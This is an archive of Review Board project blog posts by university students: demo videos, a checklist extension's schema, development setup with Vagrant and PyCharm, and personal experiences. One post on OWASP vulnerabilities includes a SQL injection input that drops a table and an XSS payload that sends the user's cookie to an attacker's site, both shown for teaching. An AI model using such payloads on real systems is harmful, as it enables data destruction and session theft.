Category Archives: Blog Post

UCOSP Fall 2013 Student Demos

Back in the Fall, we had a number of students hacking on Review Board.

At the end of the semester, when the grades are in, we usually invite our students to join us in a video chat and demo their projects to one another. It’s an optional thing that we do if the students have time, and not for credit.

Four students took us up on our offer last semester, and we’re pleased to share their work with you:

Review Board UCOSP Demos – Fall 2013 from Mike Conley on Vimeo.

The students in this video are (in order of appearance):

One student was unavailable for the demo session, but produced similarly awesome work:

Some of the projects in this video have already landed in the upcoming Review Board 2.0, and others are still waiting for some code massage before being available.

Thanks again to all of our students last semester!


Common Web Vulnerabilities

Since I’m working on creating a security checklist for admins running Review Board, I’ve been doing some research about vulnerabilities that would make good candidates for tests. A lot of common web vulnerabilities are more code-based rather than server configuration-based so they aren’t really what we’re worried about in this checklist. These vulnerabilities are interesting regardless so I’d like to discuss them here.

As an introduction, the vulnerabilities that I will be discussing are the top 5 vulnerabilities present on the Open Web Application Security Project (OWASP) top 10 list for 2013. It was founded in 2001 by Mark Curphey and Dennis Groves. OWASP includes contributors from around the world and works to put together a knowledge base, tools and technologies to help web developers do their part in keeping their web sites secure. It’s really on web developers to keep their applications secure, as vulnerabilities can hurt users as much as it can hurt developers.

#1 – Injection
Injection vulnerabilities are most often found in the form of SQL query injections. This is likely at the top of the list due to how commonly it is found in applications, and also how easy it is to exploit. All an attacker needs to do is send specially-crafted text to exploit the targeted interpreter. Here’s a good example of server code which contains an injection vulnerability:

txtUserId = getRequestString(“UserId”);
txtSQL = “SELECT * FROM Users WHERE UserId = ” + txtUserId;

If an attacker can get access to the txtUserId value, they can muck around with the SQL string however they want – perhaps by adding a semicolon after a user id and then executing whatever they want. What happens if we could set txtUserID equal to “105; DROP TABLE Users” ?
Perhaps the best and easiest way to avoid having this vulnerability present in code is to use a safe API to interact with your database. That way your code is never directly working with variable SQL queries. It sounds obvious, but it’s staggering how often this vulnerability is found in code.

#2 – Broken Authentication and Session Management
As soon as you start implementing your own form of authentication and/or session management, you’re taking the risk of having an error somewhere along the way. All it takes is one element of this being poorly implemented and you could be opening yourself up to an attacker who knows what they’re doing. Attackers can compromise passwords, keys, session tokens, or perhaps even worse, they can exploit flaws in the implementation to gain access to others’ identities.

Imagine how much trouble Amazon would be in if you could gain access to someone’s account and buy things for them due to an implementation error? Flaws in implementation can be found in logout logic, password management, timeouts, any sort of “remember me” functionality, and a slew of other places.

It can be really tough to track these flaws down due to most implementations being unique. The best way to avoid this vulnerability is to use a single set of strong authentication and session management controls which have been thoroughly tested and meet the standards found in OWASP’s Application Security Verification Standard ( ). Being overly cautious can save developers from the disastrous consequences of this vulnerability.

#3 – Cross-Site Scripting
Commonly known as XSS, this vulnerability happens when an application takes unsanitized data and sends it to a browser without validation. Because of this, attackers can actually execute scripts in a user’s browser without them even knowing. There is a huge amount of abusable data that can be found in a user’s browser: cookies, session information, stored passwords… You get the idea. Equally bad is the fact that an attacker can redirect the user to another (potentially compromised) website. The prevalence of this vulnerability is largely due tot he fact that any source of data in the website could become a vector of attack. Here’s an example:

Suppose a web application has the following usage of data:
(String) page += “[input name=’creditcard’ type=’TEXT’ value='” + request.getParameter(“CC”) + “‘]”;

An attacker can then modify that “CC” value to:
‘][script]document.location= ‘ ?foo=’+document.cookie[/script]’.
What this does is send the user’s session information to the attacker’s website. The attacker now has free reign on that user’s session and can do whatever they want with it.
Note: Those square braces should be pointy braces – WP doesn’t like my examples.

Prevention of XSS boils down to separating untrusted data from active browser content. Ideally you want to escape untrusted data based on your HTML context. Additionally you can whitelist input validation – whitelisting means to ONLY accept specific data formats, as opposed to rejecting known bad data.

#4 – Insecure Direct Object References
This one is kind of a mouthful. Basically this means that a developer has (likely accidentally and without knowing) exposed a piece of back-end data to the web. This could be a directory, a file, a database key, etc. This is prone to happening because developers will commonly generate web pages using the actual name of an object, and the application may not have the proper verification in place to make sure that a user has the proper privileges to access this object. All an attacker needs to do to exploit this is to craft a URL request string by changing a parameter value to refer to some other system object – one that isn’t meant to be exposed to the front-end. If access is granted, you’re in trouble.

The prevention methods for this vulnerability are probably obvious after reading its description – use indirect object references to generate content, and make sure the validate access to direct object references.

#5 – Security Misconfiguration
Finally this is a vulnerability which is configuration-based rather than code-based. There are a lot of places on a server running a given application where this can become a problem:

What kind of software are you using, and is it up to date? An out-of-date operating system, webserver, database management system, or code libraries can all become vectors of attack if they contain unpatched known vulnerabilities.

Have you enabled things that shouldn’t be enabled? Things like ports, services, pages, accounts or privileges.

Are any default accounts and their passwords still present on the system? Attackers can commonly brute-force their way into servers by using known account names and common passwords. The “root” account on *nix systems is a good example of this.

Are users exposed to error messages which tell them too much? You don’t really want to be spilling a stack trace to the front end, as it provides way more information than a potential attacker should be able to see.

For any frameworks you’re using, are any security settings that are left at default values?

Preventing security misconfiguration is basically a battle of awareness – keep your server’s moving parts up to date and with secure settings. It’s worth taking the time to run security scans and to do server audits to make sure one of these vulnerabilities is not present.

Checklist Extension

The checklist extension is to help reviewers keep track of what they should check for while reviewing. I have created preliminary front-end designs of what the checklist could look like and work like, but now that I’m implementing the back-end, I realized that things were not as clear in my head as I thought they would be. This blog post is mostly going to address the relationships the checklist would have with the other models.

So, so, so… I think the biggest source of misunderstanding on my part is how reviews are actually made. I thought they were created when a user views a review request, or a draft of one is fetched at that time. However, it turns out that while a {{review}} variable is accessible through the template, this does not necessarily mean that there is already a review object associated with that user and review request. A review is only created when the user begins to comment on the review request.

I initially planned to use the review ID as a foreign key to an instance of my checklist, because I thought that a reviewer might want different lists for each review (even if it is for the same request). And so learning that a review is only created after the user begins commenting gave me a little chicken-and-egg problem: the checklist needs to be there before the user begins the review, but there would be no review until the user begins to comment. Well, David suggested that I use the review request ID and user ID as the foreign keys instead. Even if users can review the same request multiple times, we’d leave the resetting/updating of the checklist up to the user. At least for now.

So, important things that might be worth noting at this point:

  • A review is created when a user begins commenting on a review request.
  • The {{review}} variable in the template references a pending review. If there is not one, it would be None.
  • Users can review the same request any number of times.
  • Users should be able to start a checklist without starting a review.
  • The status of a checklist should be preserved for a particular user and review request (even if there’s no review).

With these in mind, I have edited my schema for my checklist models:

Checklist (
checklist-ID             PRIMARY KEY,
FOREIGN KEY (review-request-ID, user-ID)

ChecklistItem (
checklist-item-ID      PRIMARY KEY,
FOREIGN KEY (checklist-ID)

And… well, that’s all for now. =D

Choosing Vagrant to Set Up my Development Environment

When I was at the phase of setting up my development environment for Review Board, I wasn’t sure in which direction to proceed.

I am running OS X, and so I wouldn’t need to set up a brand new Linux virtual machine for development purposes as Windows users would, but I had been told that there are some dependency issues with some versions of Linux and OS X.

I decided to go with the second option of using Vagrant. Vagrant is used to build and deploy virtual machines. It is mainly used for the purpose of having everyone on the same development team use the exact same operating system to avoid dependency issues.

Steven McLeod configured Vagrant, Ubuntu 12.04 and the Review Board project. The configuration repository and installation details are located here.

We were given licenses for Vagrant VMware plugin and VMware Fusion or Workstation depending on our current operating system.

I had had experience using VMware Fusion with Windows 8 before, but still found it hard to grasp what exactly Vagrant was doing.

I used to open up VMware Fusion and start the Windows 8 VM. With Vagrant, I accessed the VM through Terminal (the command-line based terminal emulator included with OS X). I wasn’t sure in what way it was using VMware Fusion, or exactly what was going on. After asking questions from the mentors, things became much clearer.

In Terminal, from the repository’s directory on the host OS, the command “vagrant up” starts the VM using VMware Fusion. From that point, the command “vagrant ssh” SSH’s into the VM and you can begin to develop, run the server, or run unit tests. You don’t have to manually start VMware Fusion.

I wanted to use a GUI based IDE to develop code, and could not do this by SSH’ing into the VM. Luckily, Vagrant allows the repository to be shared between the host OS and the virtual machine. I downloaded and installed PyCharm on OS X (whose configuration details with Review Board can be found here). I now develop on OS X, and run the server and unit tests by SSH’ing into the VM 🙂

Blog Post — My Review Board Experiences Thus Far.

I’m Natasha Dalal,  A 4th year student at the University of Toronto. I’m working on Review Board as part of the UCOSP program. While I’m still in the starting stages of my work on Review Board, my experiences thus far have been incredibly positive.

We started off the semester by setting up our development environments and fixing some “easy fix” bugs listed on the review board bug tracker site. This was our entry point into the review board code-base. Setting up the development environment proved to be a bit trickier than I had expected, mostly because of dependency issues. However, there was a wealth of information available in the documentation section of the review board website, and the mentors were really helpful on IRC. After trying and failing to set-up my environment locally, I ended up setting it up using a virtual environment that one of the mentors had set up for us. This came with its own set of bugs and problems, but again, the mentors came to the rescue and were super responsive and available to help troubleshoot any issues as and when I faced them.

About 3 weeks in, the UCOSP students (5 of us) from across Canada, and all the mentors met in person for a 2 and a half day code-sprint at the Mozilla office in Toronto. It was instantly apparent, that we were the best team there (Biased, me? Not at all.) But seriously, the code sprint was a wonderful experience. We were in a room full of incredibly talented and motivated people working on some really interesting and diverse projects. Meeting the review board team in person, and being able to put a face to the IRC nicknames was awesome! Experiencing first hand how excited everyone was about Review Board was even more awesome! At the sprint, we got a chance to get to know each other a bit better, as well as a chance to learn more about the architecture and structure of Review Board. That weekend was a milestone for me, because I made my first ever open source commit, and even though it was just a tiny CSS change, it felt really good. By the end of the weekend, every student on the Review Board team, had successfully submitted their first patch to Review Board and earned their very own Review Board t-shirts for their accomplishments.

At the sprint, I discovered some useful tools to help me navigate my way around the project. While I started out with a stubborn desire to strictly use vim for all my code-editing needs, I quickly realized that I am nowhere near being the vim master I dream of being, and so, in the interest of time, I decided to switch to using Sublime. While I definitely haven’t explored the full potentials of Sublime yet, I did find some things in particular to be very handy. For one, I like that you can “open folders”, which gives you a side-bar in sublime through which to navigate through a collapsible tree structure of the sub-folders and files of the given folder. There is also a powerful search function across all files in the open folder. The code-completion and syntax highlighting are also pretty useful. Additionally, if you know the name  (or part of it) of the file you want to jump to, the Ctrl-P shortcut lets you quickly search for and open that file from within your project. There are also a ton of plug-ins available to help customize your sublime experience.

As someone who has never really programmed in python before, I also had the joys of learning about pdb, which is the python command-line debugger. It was incredibly easy to use, and turned out to be very helpful as I attempted to debug something (that wasn’t actually a bug) over the weekend. Setting a break-point in pdb is as easy as adding the line: “import pdb; pdb.set_trace()” to the part of your code that you want to debug. This then allows you to use the debug prompt in your shell to actually debug things. There is a blog post about this on the review board blogs at

Towards the end of day 2 of the sprint, we all sat down and discussed potential projects for the semester. I believe all of us ended up choosing from an existing list of student project ideas, although we were also given the liberty of coming up with our own. The project I chose was to implement a suggested Reviewers feature, which examines past activity to suggest prospective reviewers to a user posting a review request. I have a post outlining my basic strategy for it on hackpad, which I expect to evolve as I make progress on it. Here is a link to it: .

So far, I have explored some of the areas of the code that I will need to look at, and have implemented a very simplistic function to work on the back end. As mentioned before, my experience with python and django is limited, but I have found it to be extremely powerful, easy, and convenient to work with. I find the organization of django projects and it’s use of MVC very appealing and easy to work with.

Taking part in UCOSP is one of the best decisions I have made for myself in a while. This is either a testament to how great I think the program is, or to how terrible I am at decision making, and I’m choosing to go with the former 🙂 . In a sea of mundane course-work, my review board project is what’s keeping me afloat. That was a little dramatic, I’m actually enjoying most of my classes, but this one slightly more than the others, and I expect the practical skills I gain from it to be exceedingly rewarding in the long run. On that note, I am grateful for the existence of UCOSP and for being able to participate in it. I am also really happy that I chose to work on review board, and hope to keep contributing to it after my UCOSP term is complete. The Review Board team is wonderful, helpful, and extremely dedicated, which makes them a pleasure to work with. I’m excited to make more progress on my project, and hope that the rest of the semester continues to go as smoothly as it began.

How to Configure PyCharm for Review Board Development

So you’ve just spent a few hours going through the Getting Started guide and have finally gotten your development environment configured (and hopefully all the unit tests passed!). Getting the dev server up and running and seeing Review Board load up in your web browser for the first time is a tremendous accomplishment, and you should be proud to have gotten this far! But greater challenges lie ahead as you start hacking. If you’ve just started working on Review Board like me, you’ll want to take advantage of all the tools at your disposal to make the learning curve as painless and enjoyable as possible as you try to figure out how the pieces in the project fit together. For me, an IDE with a good GUI debugger is a must because it allows me to dynamically step through the program’s runtime execution, as opposed to having to figure it out statically through code inspection.

PyCharm is my IDE of choice. Compared to Eclipse with PyDev, I’ve found PyCharm to be much more friendly to set up, and it doesn’t make unnecessary modifications to your Git repository when you import the project, leaving you in a clean state before you start making changes to the code. PyCharm’s built-in support for Django is also a nice feature to have.

Configuring PyCharm with your Review Board project is simple (based on PyCharm 2.7 on OS X 10.8.5) :

  1. Open up PyCharm. Under the Quick Start pane, click Open Directory and select the top-level Review Board directory (the one that you cloned with Git). e.g. ~/reviewboard.
  2. Once the project is loaded, open the Project Settings window by going to PyCharm > Preferences.
  3. Under Project Interpreter > Python Interpreters, add the python interpreter you are using. If you’re using virtualenv, PyCharm is also smart enough to recognize it. You should see a list of python packages associated with the interpreter you have selected.Image
  4. Go to Django Support. Check Enable Django Support and set the Django project root directory to the top-level Review Board source directory. For example: /Users/Edward/reviewboard. Settings and Manage Script should be set to reviewboard/ and reviewboard/, respectively.Image
  5. Save your changes and open the Run/Debug Configurations window by going to Run > Edit Configurations…
  6. Add a new Django server configuration and set Host to and Port to 8080 (the default settings for Review Board’s development server when you run ./contrib/internal/ Make sure Python interpreter is also set to the one you have previously configured.Image
  7. Click the Run or Debug button to start the development web server. Happy debugging!

Progress on the Checklist Extension: With Video!

Here’s a video of what I’ve been working on this semester: a checklist extension for Reviewboard!

I started this semester having not used Django before, and quite clueless in Javascript too (why are there all these colons, parentheses and brackets? What strange language is this?) And on top of that, there was this humongous codebase to try and figure out.

After many many weeks, Javascript now makes sense, and Backbone (which I was introduced to in this project) is the most exciting thing ever!

Many thanks to the mentors, for always being responsive and crushing the obstacles that stood in my way. As has been said by others already, stuff goes so much smoother when you realize that there’s a great team of people eager to answer all your questions, however silly they may be.

There’s still important stuff to be worked out for the checklists, but I’ll be sticking to it until it’s all proper and ready for everyone to use. 🙂